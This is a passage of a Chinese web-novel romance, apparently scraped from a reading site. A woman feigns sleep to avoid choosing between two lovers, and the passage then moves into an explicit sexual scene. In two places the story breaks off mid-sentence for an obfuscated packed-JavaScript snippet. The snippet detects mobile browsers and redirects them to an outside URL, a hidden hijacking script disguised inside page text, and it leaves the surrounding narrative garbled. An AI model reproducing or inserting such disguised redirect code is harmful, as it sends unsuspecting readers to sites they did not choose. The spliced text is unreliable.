祝平安依然是一无所觉地躺在床上,擦洗已毕,温尔雅最后在她擦得干干净净的额头上落下一吻,随后端着脏水出门去了,躺在床上的祝平安这才慢慢的睁开眼,叹了口气。 她三个小时前就已经醒了,可是她不敢睁开眼睛。 眼下的局面,真是比世界大战还要混乱。 祝平安恨不得穿越回血海,把那个自己狠狠的抽死:让你情不自禁!让你不忍拒绝!让你四处留情!一个两个都亲了,现在怎么收场? 人啊,真是到临死的前一刻都不能放纵,要是没死成,那就尴尬了。 祝平安在床上翻过来覆过去,想一会儿温尔雅,又想一会儿张松鹤,脑子里乱成一锅粥。 ……不过,即使真的穿越回血海,她也一样会做出同样的选择吧?何况,看样子,若她没有追着张松鹤跳下来,张松鹤就真的没可能获救了! 张松鹤对她的心意,如明月高悬,昭彰天日,他甚至愿意为了救她而死……面对如斯深情,给一个告别吻不过分吧? 如果跟温尔雅说,这是临终关怀的一种,温尔雅能够勉强接受吗? 好吧,其实也有点荒谬……听着就好渣。而且她不愿意骗自己,她那个吻里面是有真感情的,祝平安泄气地又翻一个身,转为趴在枕头上。 要么,瞒着温尔雅?找机会跟张松鹤说:之前的事情都是一场梦,咱们就忘了吧? 天啊!她这不成了过河拆桥了?需要人家舍命救她的时候,就亲亲抱抱甜言蜜语,现在一回到正常生活,就让人家“忘了吧”,听起来更不是个东西了! 但要是跟温尔雅分开,选择张松鹤……祝平安摇摇头,这个想法她从来没想过。温尔雅待她那份细腻绵长的情感,是人间独一无二的珍宝,她早已承诺永远陪着他,怎能弃他不顾? 祝平安这会儿真想求教一下那些著名的时间管理大师,他们到底是怎么在多个伴侣之间跳来跳去的?就不会心虚愧疚吗?就不会感到自己谁都对不起吗?怎么才能达成一个好结局啊? 她……她只是不希望他们任何一个受伤害而已。 门响了一声,有人进来了,她赶快闭眼躺好,继续装睡。 这一次进来的是张松鹤,他瞧温尔雅不在屋里,这才不再掩饰,几步走到祝平安床前,单膝跪下,温柔地望着祝平安的脸。 祝平安虽然闭着眼,却依然能够感受到来人那炙热的眼神,心中不由得怦怦直跳。她勉力压抑自己的心跳,装出一副还在沉睡的样子。 手指一暖,是他握住了她的手,缠缠绵绵,十指相扣。 张松鹤抓紧时间望着她,这一刻房间里只有他们俩人,温尔雅随时可能回来,显得这片刻的独处时间越发短暂,如同偷欢。他眷恋地抚摸着她的脸颊和头发,半晌,才轻轻叹口气。 “也不知道,你醒来后,还有没有这种机会望着你?” “有时候,真恨不得你就这样不要醒来算了。” 他湿热的呼吸喷在她手背上,一个比狐狸毛还柔软的东西落下,张松鹤的嘴唇眷恋地在她手背徘徊,良久才开口:“但是,我不能那么自私……” 他正想将她的手放回被窝里,一掀被子,却见床铺辗转零乱,显然是有人在这里翻身造成的。 张松鹤只略一想,便是恍然大悟,她已经醒了,却要装睡,因为不愿意面对他们两个…… 他心里有些失落,接着又有些甜意。其实她只要对过去的事情绝口不提便好了,只看他作为,也知道他亦绝不会提。她是害怕伤害他的心情……因为她在乎他。 想到这里,张松鹤心中更是涌起一阵难言的情潮。她这是何必?他难道会逼她给他一个名分么?只要知道彼此心中有情,他便知足了。 他正想对她说,自己不会强迫她在自己跟温尔雅之间做选择,只要她愿意的话,他可以像以前一样,不远不近地守着她,绝不打扰她的生活。但再转念一想,他又把话咽了回去。 类似的话,他在冰原已经说过了,可她并不觉得轻松,反而心理压力更大。她是害怕对不起他们两个的心意…… 既如此,现在贸然戳破,只怕没什么好处,想要让她解开这个心结,还需要从温尔雅那里下手。原本这话不该他来说的,可既然平安如此为难……他装作不知道她在装睡,将被子重新盖好,轻手轻脚的出去了。 温尔雅其实早就回来了,只是还没走到门前,就看到张松鹤进了门。他也不进去,干脆就坐在庭院内的大树下,等着张松鹤出来。 温尔雅对张松鹤依然没有好感,更是在心里暗暗有些自卑。他心里总是害怕,若他不是花费心机与平安培养感情,又抢先一步表白,平安一定属意张松鹤更多些。 故而他严防死守,就是不想这野狐狸有机会钻进家门,否则,平安一定会把心思都放在张松鹤身上……他再也不能得到她的偏爱。 可是,世事难料,他酸涩地看向地面,平安已经开始亲近张松鹤了,而这也是张松鹤拼命守护她之后应该获得的。他没有立场去阻拦,身为正夫,若平安说想要张松鹤做侧室,他也不能拒绝…… 既如此,他也不能那么小气,独吃独占,让张松鹤与她有几分钟的亲近时光也是应该的。 正这么想着,门吱呀一响,张松鹤已经从屋子里出来了。温尔雅在心中估算一下,发现他进去连十分钟都还不到,估计亲亲抱抱的事情也没做许多,心下还是相当满意张松鹤的分寸感。若他一直这么识时务,自己也不是容不下他。 这几天,他们虽然时常碰面,可是两人关系始终尴尬,所以没怎么说过话。当张松鹤向他走来时,温尔雅一时间都有点惊讶了。 “有点事情找你谈谈。”张松鹤轻声道:“关于她的。” “有什么好说?”温尔雅一挑眉,习惯性想要树立自己正夫的威仪:“她的事情,我比你知道的多些。” “她已经醒了。”张松鹤说道,接着立刻拉住温尔雅,“先别急着进去,我要跟你说的就是这件事。” “你到底要说什么?”温尔雅拧起眉毛。 “她在装睡。” “为什么要装睡?”温尔雅顿觉不可思议,问出口之后,自己也有了答案,上上下下打量着张松鹤:“你……” “她是怕面对我们。”说到这里,张松鹤脸也不由得一红,“之前有些事情,没跟你说,其实我跟她……” 温尔雅虽然早就知道了,但听张松鹤亲口说出来,不由得还是有种“小三把恩爱秀到正房面前”的妒忌。 好在张松鹤并不想要刺激他,三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150868|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言两语简略地说完自己是何时对平安动心,后因身负天命,不敢与她亲近种种事宜,才说到血海那最后一吻:“……其实,之前她都没有想过这种事情,是最后觉得自己要死了,这才略有放纵……” 温尔雅忍住心中不爽:“好了!我知道她对你有情,你跟我说这个做什么?你在挑衅?” “不,我完全没想过这个。”张松鹤说的坦然,“我从前说过,没有人想把她从你身边抢走,这句话到今天也不假。你不知道,她起初几天生病的时候,一直喃喃念着你的名字,你对她来说是不可或缺的,跟我截然不同,我也希望你能时时刻刻跟在她身边,护她周全。” 温尔雅想到自己跌落水池时的幻觉,心中知道张松鹤说的是实话,心中也舒服了一些:“既如此,你只要绝口不提,我也装作不知,不就成了么?” 看在张松鹤这么识时务的份上,他真不打算追究那二十二天发生的事情。 “你我也许能达成这种默契,可是这件事情,在她心里过不去。”张松鹤的眼光望向了平安休息的那间屋子,目光柔和:“平安的心非常柔软,对于感情,十分慎重,并非薄恩寡情之人。她现在,是自觉做了对不起你的事情,自责不已。可要她慧剑斩情丝,她却是既不想伤害你,又不想伤害我,左右为难……” 温尔雅听到这里,心中悚然一惊。慧剑斩情丝?斩谁的情丝?是他温尔雅的情丝,还是张松鹤的? 这个时候,他终于坐不住了,他悲哀的发现,自己在这件事情上远远不如张松鹤豁达。 张松鹤还不知道与所爱之人朝夕相对是多美妙的一件事,平安给他的不过是一句话、一个吻。加之张松鹤早就在心中接受了他不会跟平安有更进一步关系的事实,故而所谓慧剑斩情丝,对张松鹤来说,即使是被斩了,也不过就是回到原点。 可他呢?他与平安已经相伴许久,食共席,睡同衾,春时赏花,秋时观叶,种种赏心乐事,良辰美景,两人早已一一经过……倘若被她斩了情丝,他要怎么生活的下去?他怎能受得了这失而复得、得而复失的折磨? 在她的抉择中,张松鹤无论怎么样都不会是输家,若是走了运,便可独占平安的宠爱。而他无论怎么样都不会是赢家,最坏的结果他接受不了,最好的结果……也要一辈子忍受张松鹤黏在平安屁股后头! 张松鹤肯和他挑明了说,可见确实没有上位的心思,既然这样,他暂时也可以放下对他的敌意。温尔雅一挑眉:“你是说,让我去跟她讲,我不在意她跟你那点事情?” “是呀,这话只有你才有资格说,我跟她说了也没有用。毕竟,你是有名分的,我只是个野狐狸精罢了。”张松鹤含笑道,轻轻捧了温尔雅一把。 温尔雅果然被他捧得很舒服:“我也不是小心眼的人,这次平安遇险,若不是你拼命救护,她也不会幸存,我还没谢过你。” 说完,温尔雅故作大度道:“有你在平安身边,我也放心些。若是平安有意,收你做个小的,我也不会来欺负你的。” 这一下,喷饭的就是张松鹤了。想起后土帝君麾下的母系氏族婚俗,他一时间不知道是哭好还是笑好,又有许多希望在心中疯狂生长,既然温尔雅能够接受…… 他最后只是不伦不类的拱拱手:“那我就多谢你抬爱了。” 话说完了,张松鹤便告辞离去,他走的这些天,公共安全部和民生诉求部的工作都是一团乱麻,他事情多得很。温尔雅望着张松鹤离去的背影,心下暗暗盘算。 张松鹤看来确实没想过拆散他们,但他也不能掉以轻心。人么,胃口都是越养越大,现在张松鹤能得到平安几个眼神就满意了,若日后他们接触日深,张松鹤生了妄想,那怎么办?家里还有他站的地方吗? 温尔雅眼睛一眯:必须趁现在,把地位给定下来!从此之后,只要他还在,余者不过都是侧室罢了! 120.她的维纳斯 祝平安在床上躺的百无聊赖,一会儿睡一觉,一会儿睡一觉,最后都睡不着了,闭着眼躺到天亮。 天色刚有变化,她就感觉到温尔雅起床了。 他一向待她很细心,现在她“昏迷不醒”,温尔雅更是寸步不离她身边,喂水喂饭,擦身按腿,照顾的她越来越觉得自己不是什么好东西。 但是她还没想好怎么处理两个男人的关系,索性还是两眼一闭装死。温尔雅帮她擦身洗漱后,便把她抱了起来,似乎要带她出门。 是要带她去医院,检查她为什么还不醒吗? 祝平安的心立刻跳的噗通噗通的,万一被大夫戳穿她根本没昏迷,那该怎么办?脸往哪里放啊? 额……要么在看到大夫的前一秒自动苏醒?送给大夫一个医学奇迹? 她就这样心如乱麻地想着,丝毫没注意到自己的睫毛颤来颤去,温尔雅看的好笑,她果然是装睡,真是的,她都醒了,还整天在床上,就不难受? 她愿意忍着这份难受,也不愿醒来,怕伤害他的感情,平安对他果然在乎。温尔雅这么想着,甜蜜地将她抱得更紧。 祝平安觉得自己被抬上了笼车,车子在高空摇摇晃晃,过了不知道多久,笼车才停住,温尔雅将她抱下了车。 一股熟悉的梅花香气传到了她的鼻尖,她悄悄睁开眼睛,这里是……寒梅别庄?温尔雅带她来这里做什么? 这一次,没有仆人来迎接,连御鸟的仆人也只是把车停在门前就走了。温尔雅亲自抱着她往梅林深处走去,祝平安知道他要带她去什么地方了。 温尔雅一路抱着她往竹舍走去,梅花又到盛花期,纷纷扬扬,如一片香雪海,他抱着失而复得的宝贝,将她放在竹舍的床榻上:“平安,醒醒。” 祝平安把眼睛闭得死紧。 “已经五天了,你想赖到什么时候?” 就不睁眼。 温尔雅好笑:“看来是个睡美人,需要有人给你真爱之吻才醒了?” 祝平安的耳朵红了,但既然已经开始装死了,中途不装也太没面子了,不就是亲一下么,又不是没亲过……不起来。 看她耳朵通红,却要把消极抵抗坚持到底的样子,温尔雅的眸色不由得深浓了。方才说吻她只是诈她的,谁知她这么倔强……那别怪他不客气了。 他有整整一个月没有吻过她了,尤其是她失踪的日日夜夜,他是多么煎熬,多么恐惧,又有多么想她…… 她就乖乖躺在榻上,她真的回来了,他没有失去她…… 他俯身,吻上了她的嘴唇。 这个吻,是他从未给过她的吻法,吻的狂乱,吻的炽热,不是温柔的抚慰,而是想要将她活生生吞吃入腹般的饥渴。 她初时还想装无知无觉,却很快在他的唇舌下溃不成军,克制不住地用舌尖与他交缠……她当然也很想他了。 一吻结束,他捏捏她的手心:“还装吗?” 被抓包了,她不好意思地睁开眼睛,在想自己是找什么借口好,可一切的想法,都在看到他脸的一瞬间烟消云散:“尔雅?你、你的眼睛?” 温尔雅半扭过脸:“没事的,不用在意。” “怎么能不在意呢!”祝平安立刻把装睡的事情忘到九霄云外去了,想到这几天自己居然丝毫不知他的状况,还装睡让他来服侍自己,恼的恨不得抽自己两巴掌。 她着急的扳过他脸来查看了:“你的眼睛怎么了?有没有看过大夫?” “不要担心,我还有另一只眼睛呢,足够用来看清你的样子。”温尔雅笑着把她的手指拉过来亲了亲,好像真的毫不在意眼睛的事情,“不过,这只眼睛没有以前那么好看了,你会嫌弃我吗?” “我怎会嫌弃你呢?”祝平安心疼极了,“我只是一个月不在而已,这眼睛到底怎么回事?受伤了?”虽然眼珠变成浅灰色,可是眼球看起来很正常啊,难道是生病? “平安,你不要一直看我的右眼了。”温尔雅无奈地笑道,“现在,如果你硬是让我用右眼对着你,我就完全看不见你的样子了……” 祝平安的眼泪一下子落了下来:“到底怎么回事?” “别哭,别哭。”温尔雅连忙侧过头,只用完好的那只眼睛对着她:“你就当我用这只眼睛,跟神明做了交易吧,有它做代价,我才能在茫茫灵魂中找到你,把你带回来。” 他捧着她的脸,连完全失明的右眼都盈满了款款深情:“眼睛没什么的,没有了右眼,我还有左眼,对我的日常生活不会影响太多。可是你,世界上只有一个,如果没了你、没了你……” 温尔雅的身子轻轻颤抖起来,仿佛又回到差点失去她的恐怖日子里:“你不在的时候,天总是很黑,我不知道有什么可看,也什么都看不见。既然如此,我要眼睛做什么?一只眼睛不算什么,只有你回到我身边,世界才是明亮的,值得我去看的……” 祝平安的泪水决了堤一样落下来,她抱住温尔雅的脸,重重的吻像是赎罪一般,不停的落在温尔雅的右眼上。 温尔雅的眼睛!那么鲜活漂亮的眼睛!都是为了她…… 而她还……她到底对得起谁啊? 她的脸哭得通红,喘着气,话都说不利索了:“尔雅……我,我有一件事要告诉你……” 关于她和张松鹤的事情,她必须说出来,她不能这样愧对温尔雅的深情。如果温尔雅听后生气要分开,那也是她自己找的,她活该! 温尔雅看她的神情就知道她想说什么了,立刻制止她:“别急,先听我告诉你一件事。” 倘若让平安先把事情给挑破了,她不在他俩之间选一个的话,心就不会安的,他才不会给平安这个机会。 平安心中愧疚无地,此刻无论温尔雅说什么她都会乖乖听话的,于是抽噎着点了点头:“你说。” “你看着我。” 温尔雅站起身,走到了光线稍亮处。祝平安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155998|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也跟着下榻,走过去细细打量他,这才发现,今天的温尔雅打扮的大不一样。 他的长发没用发带束起,而是如水波般自然披散,额上带着古木和鹿角制成的头冠,上身完全赤裸,画满了古老的图腾。 两臂带着一十二对蛇形臂环,脖颈戴着层层叠叠的项链,满镶各类宝石美钻。下身则是嫩叶和鲜花制成的奇特草裙,看起来如同古老神话中走出来的神使,华美威仪,高贵无比。 如果神使的右眼没有变成黯淡的灰色,他的美貌一定更有华彩,祝平安看着,心更痛了:“这是什么衣服?你穿着真好看。” “这是后土帝君的大祭司服。”温尔雅答道,“平安,这就是我一直不能够跟你说的,那个秘密。我的治愈术,我操纵土石的能力,都是因为我是后土帝君的大祭司,而我之所以来做差役,也是为了帝君……” 他就这样将自己过去在后土神殿的日子娓娓道来,自己是怎么来到后土神殿,又是经历了什么才一步步成为了大祭司。 他没有一丝一毫的回避,将那些充斥着不择手段和阴暗心思的过往尽数说了出来。 那不是她喜欢的温尔雅,可是她有权知道,他一直不是什么好人。 他跟她,原本是两个世界的人,一个永远沐浴在阳光下,一个永远潜藏在阴影里,若不是一场因缘际会,他又怎能有这种机会,让她发现了他,走近了他,改变了他? 他将一切都说了出来,并将自己的使命也合盘托出,他的身体与心灵,对她完全敞开,再无保留。 他说了很久很久,最终,才用一段话收尾:“……我很抱歉,从前隐瞒了你,可我都是迫不得已……” 祝平安怎会怪他呢?连连摇头道:“受人之托,忠人之事,你什么也没做错,不用道歉。” “有些事情,不说出来有不说出来的理由,不是吗?”温尔雅意有所指,对她微笑一下,“谁都有秘密,大家都能够理解的。” 祝平安隐约觉得,温尔雅好像什么都知道了,她一瞬间心虚地不敢看他的眼睛,他的情绪却没有丝毫波动:“好了,我想要跟你说的事情已经说完了。现在,该我问你一个问题了……” 他凑近她,依恋地将她完全揽入怀中:“平安,一年前,你说过的话,现在还算数吗?” 祝平安不知道说什么好。 她当然完全记得自己的诺言,可是,现在有秘密的人变成了她。她急道:“先让我说一件事……” 温尔雅并没有给她说任何话的机会,他低头,吮住了她的唇瓣。 她什么都不必说了,他都明白。 之前,他还有些担心,自己已经不如往昔美貌,而她又和张松鹤……她对自己的心会不会淡下去呢? 但刚刚,她的眼泪和心疼,明明白白地告诉他,她的心意。从前他对张松鹤隐隐的忌惮,在看到她眼泪时,全部烟消云散。 既如此,他还有什么好犹豫的呢? 121.花开的季节 她心中是有自己的,温尔雅很笃定,如果他流露出一丝不悦,祝平安一定会跟张松鹤断绝一切关系,即使她心中再痛苦,也不会让他难过。 你不舍得我难过,难道我就舍得你难过么? 他心中不是没有酸涩,但是他跟张松鹤一样,不愿让她为难。发生的事情既然已经发生,他便只能接受。 她起初还在抗拒着想说点什么,他却不想听了。有些事情含糊过去就好,错有错着,真让他挑明了愿意让张松鹤做小,他也别扭。 现在是他一生中最重要的时刻,他不想把另一个男人给扯到他们中间。这一刻,他希望她的心中、她的世界里只有他。 也许平安不接受有人怀着秘密跟她鱼、水、交融,但他不是平安,只要她愿意要他,那么他什么都不在乎。 祝平安被他吻得神、魂、颠倒,很快就发出了细细的呜、咽。他一边吻她,一边跟去年一样,托着她的大腿将她抱起,放到榻上。 他的额头抵着她的额头,暂时松开了她的唇瓣,喘、溪着问出了跟去年一模一样的问题:“平安,我想要把我的一切都给你……” 他皱起眉,微微侧过脸,吃力用仅剩的那只左眼看着她:“只是现在,我已经没有过去那么完整,那么漂亮……你,还要我吗?” 紧接着,他急急补充道:“别的话,暂时不要说好吗?你只要告诉我,是要,还是不要……” 祝平安望着他那浅灰的眼睛,心痛的喘不过气来。 他的眼睛能分辨出幽暗的人心,能读懂所有的文字,能品鉴书画插花…… 他是如此温柔、如此美丽、如此优雅的生命,现在却为了她,把自己弄得残破不堪,甚至还怕,她会嫌弃他的不完整…… “我怎么会不要呢……”泪水从她脸上飞溅,她的手指动了,自己去解衣、衫,扯掉几个衬衫扣子后,一把将衣服甩落到榻下。 她脱、得很急切,就好像是要用这个举动证明什么、承诺什么。 最后一件衣、衫从她身上飞走,在温尔雅惊讶的眼神中,她将他推倒在榻、上,捧着他的脸,大声在他耳边宣布:“我要你!温尔雅!” “无论你是完整的还是不完整的,美丽的或是不美丽的,我都要你!” “告诉你,我从见到你的第一眼开始,就已经想要你了!” 宣告完毕,她捧着温尔雅的脸,重重地吻了下去。 她俯身用力地吻着他,有泪水顺着脸颊,滴在嘴唇交融的地方,有她的,也有他的。 温尔雅也在落泪,但这一次是因为极致的幸福。她明明白白地选择了他,亲口对他说出想要两个字……他终于可以完全属于她。 她的动作很急切,甚至还有点粗鲁,她去摘他的头冠,却不小心让头冠缠在了他头发上,她拆解不开,又不想扯断他漂亮的头发,只好慢慢地解,却是越解越着急。 “我来吧。”温尔雅好笑地起身,自己来解那些繁复的首饰和臂环,这是个大工程,祝平安便让他自己来,她则开始对温尔雅的草裙下手。 草裙只用一条带子系着,但是上面打的结很特殊,她刚伸手过去研究,就被他摁住了:“这个先不急。” 这是他们的初次亲近,他需要给她最好的体验,他自己倒是无所谓。 祝平安无事可做,眼巴巴看着他,总想给他也带来一些好的体验。见项链已经先被解开,便先扑在他脖、颈上,落下亲吻。 她没什么技巧,只是像只小兽般啃来啃去,可只要是她,便足以让温尔雅兴奋。他解臂环的速度都不由得加快了,抖着声音道:“你……先停下来……” 祝平安才不听他的,她胸中满是柔情与歉疚,受了他那么多次的侍奉,总要回报一二吧? 她开始学着温尔雅对她做过的那样,沿着锁、骨一路啃、咬。 温尔雅摘臂环的动作变得越来越急,起初他还是一个个地摘,到后来,他也粗鲁地将臂环几个几个地从手臂上撸下来,冰凉华丽的首饰落了一地。 终于,他及时捧住了她的脸,阻止了她继续向下。 “应该是我……侍奉你……”他的脸颊已经泛起隐约的红,想要把她往上托,“你不要……啊!” 最后这一声,他已经变了调子,祝平安解不开那带子,干脆将手伸了进去。 温尔雅打起了颤,因之前她不准他做最后一步,此前都是他来侍奉她,事后再自寻时机释放,她从未触碰过他…… 从未有过的感受顿时将他的呼吸打乱,他不知所措,只想要躲开。 但这次,他的闪避失败了,她的嘴唇落下,把他的反对都封在了喉咙里。她的手掌像是一朵洁白柔软的云,悠悠从天边飘来,温柔地将他覆盖。 有一个瞬间,他觉得自己也在飘动,他再次看到烟花,烟花在云间的缝隙中闪现,零落美丽,光华流转。 他看到流水浮灯,软荇招摇,那一刻与此一刻的柔情互相重叠,他成了水中的明月,随波荡漾,昏昏醉醉,难以自拔。 起初他尚且抗拒,但这抗拒随着时间流转,都如春雪般瓦解冰消。不,他不能这样做,他应当以她的感受为先,这样做太不称职…… 可惜,想是一回事,能否做到,又是另一回事。 他咬住唇,在她手新口口,希望女王能赐予他更多。空中香气浓郁,他的脸已经完全成了粉红色,完好的左眼星眸如水,可惜右眼仍是一片灰败。 祝平安心痛地吻上他的右眼,温尔雅却努力把脸扭过去:“它很难看……不要看……” “不,很好看,我要看,这是你对我的心意。”祝平安柔声安慰着,去扭他的脸,却扭不动。 见他不顺从,她停下手中的动作,他正处在紧要关头,不由得难、耐地蹙起眉头:“嗯……?平安,你的手……” “如果把你对我的心意藏起来,那我就不给你这个了。”平安笑得狡黠,“想的话 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但她没能得逞,温尔雅伸手阻止了她:“不行,这样你会很藤……” 他翻身坐起:“接下来,交给我吧……” 他低头衔取她,如同采撷一片嫩芽,她的呼吸一滞,如同一步迈入了全新的世界。 那是一个春天的花园,空气总是诗润而清新,细密的雨丝像是柔柔的水雾,在花园中弥漫。鲜花承载着羽滴无声飘落,沿着小路铺成柔软的地毯,似乎是在欢迎客人。 客人在门前徘徊良久,直到雨水已经将他浑身浸润,才试探着曲起手指,轻叩门扉。 门扉有些滞涩,因多年从未有人造访,它的门轴卡住了。好在客人拥有无穷的耐心,他静静站立在雨丝中,一而再、再而三地尝试去推那扇门卡住的地方,直到门轴润滑,门扉洞开。 客人像是一只温驯优雅的白鹿,踏着缓慢的步伐走在小径上,似乎害怕破坏这个桃源乡。每踏一步,都溅起丝丝水花。 白鹿在花园中闻嗅试探,这温柔的生灵,似乎天生就能感应到人内心深处的想法,总能寻找最恰当的位置。 羽越来越急,有羽露滴在它的鼻尖上,花儿如同会呼吸一般,完全盛放。 祝平安眨着眼睛,心知这就是那一刻了。他俯下身子,专注温柔地盯着她的脸庞,目光中千般眷恋,情丝万缕,好像她是世界上最值得怜爱的宝贝。 他托着她的腰肢,寻找最能让她放松的姿势,见她盯着自己,温柔地撩开她的额发。落下一个吻:“如果害怕,就闭上眼睛。” 她摇摇头:“我不怕,我要看着,看着我们属于彼此的一刻……” 他心下巨震,手指不受控制地掐紧她的腰:“平安!” “什么?”她温柔地问。 温尔雅跪在她霜、腿中间,虔诚地在她小。腹上留下一个吻:“我爱你。”